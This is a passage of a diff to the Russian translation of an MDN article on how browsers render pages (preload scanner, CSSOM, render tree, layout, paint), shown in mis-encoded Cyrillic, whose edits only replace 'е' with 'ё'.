Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° основной ΠΏΠΎΡ‚ΠΎΠΊ HTML-парсСра Π΄ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π΄ΠΎ запроса рСсурса, высока Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ рСсурс ΡƒΠΆΠ΅ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½ ΠΈΠ»ΠΈ находится Π² процСссС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Ρ‘Ρ‚ этот сканСр, ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‚ врСмя блокирования Ρ€Π΅Π½Π΄Π΅Ρ€Π°.</p>
+<p>ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅ Π΄Π΅Ρ€Π΅Π²Π° DOM Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ вСсь ΠΏΠΎΡ‚ΠΎΠΊ процСсса. Π’Π°ΠΊ ΠΊΠ°ΠΊ это явно ΡƒΠ·ΠΊΠΎΠ΅ мСсто Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π±Ρ‹Π» создан особый сканСр ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. Он ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ доступноС содСрТимоС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ высокоприоритСтныС рСсурсы (CSS, JavaScript ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹). Благодаря этому сканСру Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΆΠ΄Π°Ρ‚ΡŒ, ΠΏΠΎΠΊΠ° парсСр Π΄ΠΎΠΉΠ΄Ρ‘Ρ‚ Π΄ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ мСста, Π³Π΄Π΅ вызываСтся рСсурс. Он Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ эти Π΄Π°Π½Π½Ρ‹Π΅ Π·Π°Ρ€Π°Π½Π΅Π΅, Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° основной ΠΏΠΎΡ‚ΠΎΠΊ HTML-парсСра Π΄ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π΄ΠΎ запроса рСсурса, высока Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ рСсурс ΡƒΠΆΠ΅ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½ ΠΈΠ»ΠΈ находится Π² процСссС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Ρ‘Ρ‚ этот сканСр, ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‚ врСмя блокирования Ρ€Π΅Π½Π΄Π΅Ρ€Π°.</p>
<pre class="brush:html notranslate">&lt;link rel="stylesheet" src="styles.css"/&gt;
&lt;script src="myscript.js" <strong>async</strong>&gt;&lt;/script&gt;
@@ -141,7 +141,7 @@ translation_of: Web/Performance/How_browsers_work
<h3 id="ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅_ΠΌΠΎΠ΄Π΅Π»ΠΈ_стилСй_CSSOM">ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ стилСй CSSOM</h3>
-<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ шаг ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΡ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠΈ критичСского ΠΏΡƒΡ‚ΠΈ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° - это ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° CSS ΠΈ построСниС CSSOM Π΄Π΅Ρ€Π΅Π²Π°. CSSOM (ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½Π°Ρ модСль CSS) ΠΏΠΎΡ…ΠΎΠΆΠ° Π½Π° DOM. И DOM, ΠΈ CSSOM - это Π΄Π΅Ρ€Π΅Π²ΡŒΡ. Они ΡΠ²Π»ΡΡŽΡ‚ΡΡ нСзависимыми структурами Π΄Π°Π½Π½Ρ‹Ρ…. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ CSS Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΊΠ°Ρ€Ρ‚Ρƒ стилСй, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΈ с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ считываСт ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» Π² CSS, создаСт Π΄Π΅Ρ€Π΅Π²ΠΎ ΡƒΠ·Π»ΠΎΠ² с родитСлями, Π΄Π΅Ρ‚ΡŒΠΌΠΈ ΠΈ сосСдями, ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° CSS сСлСкторах.</p>
+<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ шаг ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΡ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠΈ критичСского ΠΏΡƒΡ‚ΠΈ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° - это ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° CSS ΠΈ построСниС CSSOM Π΄Π΅Ρ€Π΅Π²Π°. CSSOM (ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½Π°Ρ модСль CSS) ΠΏΠΎΡ…ΠΎΠΆΠ° Π½Π° DOM. И DOM, ΠΈ CSSOM - это Π΄Π΅Ρ€Π΅Π²ΡŒΡ. Они ΡΠ²Π»ΡΡŽΡ‚ΡΡ нСзависимыми структурами Π΄Π°Π½Π½Ρ‹Ρ…. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ CSS Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΊΠ°Ρ€Ρ‚Ρƒ стилСй, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΈ с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ считываСт ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» Π² CSS, создаёт Π΄Π΅Ρ€Π΅Π²ΠΎ ΡƒΠ·Π»ΠΎΠ² с родитСлями, Π΄Π΅Ρ‚ΡŒΠΌΠΈ ΠΈ сосСдями, ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° CSS сСлСкторах.</p>
<p>Как ΠΈ Π² HTML, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° CSS Π²ΠΎ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, с Ρ‡Π΅ΠΌ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, вСсь этот процСсс - это ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ формирования DOM, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для CSS.</p>
@@ -169,9 +169,9 @@ translation_of: Web/Performance/How_browsers_work
<p>Π’Ρ€Π΅Ρ‚ΠΈΠΉ шаг Π² критичСском ΠΏΡƒΡ‚ΠΈ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° - это ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ DOM ΠΈ CSSOM Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ этого Π΄Π΅Ρ€Π΅Π²Π° начинаСтся с ΠΏΡ€ΠΎΡ…ΠΎΠ΄Π° всСго DOM-Π΄Π΅Ρ€Π΅Π²Π° ΠΎΡ‚ корня, с выявлСниСм ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ ΡƒΠ·Π»Π°.</p>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>&lt;head&gt;</code>, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈΡ… Π΄Π΅Ρ‚ΠΈ ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Π΅ элСмСнты с <code>display:none</code>, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code>script { display: none; }</code>, Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π°, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ отрисованы. Π£Π·Π»Ρ‹ с ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ <code>visibility: hidden</code> Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π°, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ всС Ρ€Π°Π²Π½ΠΎ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ своё мСсто. Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π»ΠΈ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€Π°Π²ΠΈΠ» для пСрСзаписи стилСй Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΡƒΠ·Π΅Π» <code>script</code> Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π°.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>&lt;head&gt;</code>, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈΡ… Π΄Π΅Ρ‚ΠΈ ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Π΅ элСмСнты с <code>display:none</code>, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code>script { display: none; }</code>, Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π°, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ отрисованы. Π£Π·Π»Ρ‹ с ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ <code>visibility: hidden</code> Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π°, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ всС Ρ€Π°Π²Π½ΠΎ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ своё мСсто. Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π»ΠΈ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€Π°Π²ΠΈΠ» для пСрСзаписи стилСй Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΡƒΠ·Π΅Π» <code>script</code> Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π°.</p>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΉ ΡƒΠ·Π΅Π» ΠΈΠΌΠ΅Π΅Ρ‚ свои ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΈΠ· CSSOM. Π”Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° содСрТит всС Π²ΠΈΠ΄ΠΈΠΌΡ‹Π΅ ΡƒΠ·Π»Ρ‹ с ΠΈΡ… содСрТимым ΠΈ вычислСнными стилями. Π‘Ρ‚ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Π΅ΠΌ примСнСния всСх подходящих ΠΏΡ€Π°Π²ΠΈΠ» с использованиСм <a href="/en-US/docs/Web/CSS/Cascade">CSS каскада.</a></p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΉ ΡƒΠ·Π΅Π» ΠΈΠΌΠ΅Π΅Ρ‚ свои ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΈΠ· CSSOM. Π”Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° содСрТит всС Π²ΠΈΠ΄ΠΈΠΌΡ‹Π΅ ΡƒΠ·Π»Ρ‹ с ΠΈΡ… содСрТимым ΠΈ вычислСнными стилями. Π‘Ρ‚ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Ρ‘ΠΌ примСнСния всСх подходящих ΠΏΡ€Π°Π²ΠΈΠ» с использованиСм <a href="/en-US/docs/Web/CSS/Cascade">CSS каскада.</a></p>
<h3 id="Компоновка_Layout">Компоновка (Layout)</h3>
@@ -181,7 +181,7 @@ translation_of: Web/Performance/How_browsers_work
<p>На Π²Π΅Π±-страницС практичСски всС элСмСнты ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½Ρ‹ (box). Π Π°Π·Π½Ρ‹Π΅ устройства ΠΈ настройки ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°ΡŽΡ‚ бСсчислСнноС количСство Ρ€Π°Π·Π½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ области. На Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ„Π°Π·Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, учитывая Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ области, опрСдСляСт ΠΊΠ°ΠΊΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Ρ€Π°Π·Π½Ρ‹Ρ… элСмСнтов Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π½Π° экранС. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ области ΠΊΠ°ΠΊ базис, процСсс Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ вычислСниС с элСмСнта <code>body</code>, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ Π΅Π³ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌ, вычисляСт Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта ΠΈ Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΡƒΠ΅Ρ‚ мСсто для Ρ‚Π΅Ρ… элСмСнтов, Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ½ Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π½Π°Π΅Ρ‚ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, изобраТСния).</p>
-<p>ΠœΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° позиция ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΡƒΠ·Π»ΠΎΠ² вычислСны, называСтся layout. ΠŸΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ вычислСния ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΉ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ reflow. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡ‹ΠΉ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ layout происходит ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ. Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ Π½Π΅ Π·Π°Π΄Π°Π²Π°Π»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния, Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ получСния изобраТСния ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ reflow.</p>
+<p>ΠœΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° позиция ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΡƒΠ·Π»ΠΎΠ² вычислСны, называСтся layout. ΠŸΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ вычислСния ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΉ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ reflow. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡ‹ΠΉ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ layout происходит ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ. Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ Π½Π΅ Π·Π°Π΄Π°Π²Π°Π»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния, Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ получСния изобраТСния ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ reflow.</p>
<h3 id="ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ°_Paint">ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ° (Paint)</h3>
@@ -189,7 +189,7 @@ translation_of: Web/Performance/How_browsers_work
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΠ»Π°Π²Π½ΡƒΡŽ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΡƒ ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, отрисовка ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ вСсь основной ΠΏΠΎΡ‚ΠΎΠΊ. Бюда Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ вычислСниС стилСй, ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ вычислСниС стилСй ΠΈ отрисовка. ВсС эти этапы Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π½Π΅ дольшС 16.67 мс. (1000мс. / 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду). ΠŸΡ€ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ 2048Ρ…1536 экран iPad содСрТит 3.145.000 пиксСлСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ отрисованы. Π­Ρ‚ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ! Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΡƒΡŽΡ‰ΡƒΡŽ ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΡƒΡŽ отрисовки быстрСС, ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ вСсь процСсс Π½Π° нСсколько слоёв. Когда это случаСтся - становится Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° композиция.</p>
-<p>ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ элСмСнты Π² Π΄Π΅Ρ€Π΅Π²Π΅ Ρ€Π΅Π½Π΄Π΅Ρ€Π° Π½Π° слои. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΠΊΠΎΡ€ΠΈΡ‚ΡŒ ΠΈΡ… Ρ€Π΅Π½Π΄Π΅Ρ€, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ пСрСнСсти отрисовку Ρ€Π°Π·Π½Ρ‹Ρ… слоСв Π½Π° GPU (вмСсто основного ΠΏΠΎΡ‚ΠΎΠΊΠ° CPU). Для пСрСноса вычислСний отрисовки Π½Π° GPU Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ HTML Ρ‚Π΅Π³ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code><a href="/en-US/docs/Web/HTML/Element/video">&lt;video&gt;</a></code> ΠΈ <code><a href="/en-US/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a></code>; Π° Ρ‚Π°ΠΊΠΆΠ΅ CSS-свойства <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> ΠΈ <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>. Π£Π·Π»Ρ‹, созданныС Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π±ΡƒΠ΄ΡƒΡ‚ отрисованы Π½Π° ΠΈΡ… собствСнном слоС, вмСстС с ΠΈΡ… ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ сами ΠΏΠΎ сСбС Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ вынСсСны Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ слои.</p>
